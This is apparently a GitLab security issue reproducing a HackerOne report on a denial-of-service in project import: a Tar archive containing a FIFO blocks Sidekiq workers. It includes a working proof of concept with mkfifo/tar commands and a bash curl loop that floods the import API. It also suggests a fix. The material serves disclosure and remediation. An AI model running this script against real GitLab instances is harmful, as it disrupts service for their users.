Skip to content

DoS - Blocking FIFO files in Tar archives

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2014157 by zhutyra on 2023-06-05, assigned to @ottilia_westerlund:

Report | Attachments | How To Reproduce

Report

Tar archives can contain FIFO files. Opening a FIFO for reading blocks until some other process writes to the same FIFO.

So, for example, when importing a project, if GitLab tries to read a file extracted from an uploaded Tar archive and this file is FIFO, the import will get stuck.

Project import is performed by Sidekiq, which by default processes a maximum of 20 jobs, and in this way the processing of the job queue can be completely blocked.

After extracting the archive, files are checked and symlinks are deleted, just modify this code to delete everything except regular files.

Steps to reproduce on your GitLab instance

Attached is a sample archive import-pipe.tar.gz that can easily be created this way (on Linux):

mkfifo VERSION  
tar czf import-pipe.tar.gz VERSION  

Enable project imports

If you don't have project imports enabled, you can enable it as follows:

  • On the top bar, select Main menu > Admin.
  • On the left sidebar, select Settings > General.
  • Expand Visibility and access controls.
  • Scroll to Import sources.
  • Enable Gitlab Export.

Generate API token

To import the project you will need a user with import rights, Maintainer role. We'll be importing 23 projects, so we'll automate this through the API and we'll need an API token for that. You can generate it as follows:

  • In the upper-right corner, select your avatar.
  • Select Edit profile.
  • On the left sidebar, select Access Tokens.
  • Enter a name and optional expiry date for the token.
  • Select the desired scopes.
    • api
  • Select Create personal access token.
  • Save the generated token.

Import the projects

Save the attached file import-pipe.tar.gz and in the directory with this file, run this script in the bash shell:

GLHOST=http://gitlab.example.com        # change  
GLTOKEN=yourtoken                       # change  
GLPROJ=import-pipe.tar.gz

for NUM in {1..23}; do  
    echo == $NUM  
    curl --request POST \  
         --header "PRIVATE-TOKEN: $GLTOKEN" \  
         --form "path=import-pipe-$NUM" \  
         --form "file=@$GLPROJ" \  
         "$GLHOST/api/v4/projects/import"  
    echo; sleep 11  # 6 imports per minute  
done  

The script will finish after about 4 minutes.

Check the result

Log in to the server as root and verify the results:

###  there should still be 20 VERSION files (FIFOs) hanging in the temp directory  
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |wc -l  
###  20  
###  only after writing to these files will the import complete  
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |while read FNAME; do echo foo >$FNAME; done

###  and the remaining 3 imports will start processing  
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |wc -l  
###  3  
###  again only after writing to these files will the import complete  
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |while read FNAME; do echo foo >$FNAME; done

###  nothing left to process  
find /var/opt/gitlab/gitlab-rails/shared/tmp/ -name VERSION |wc -l  
###  0  

Impact

Blocked Sidekiq job processor.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: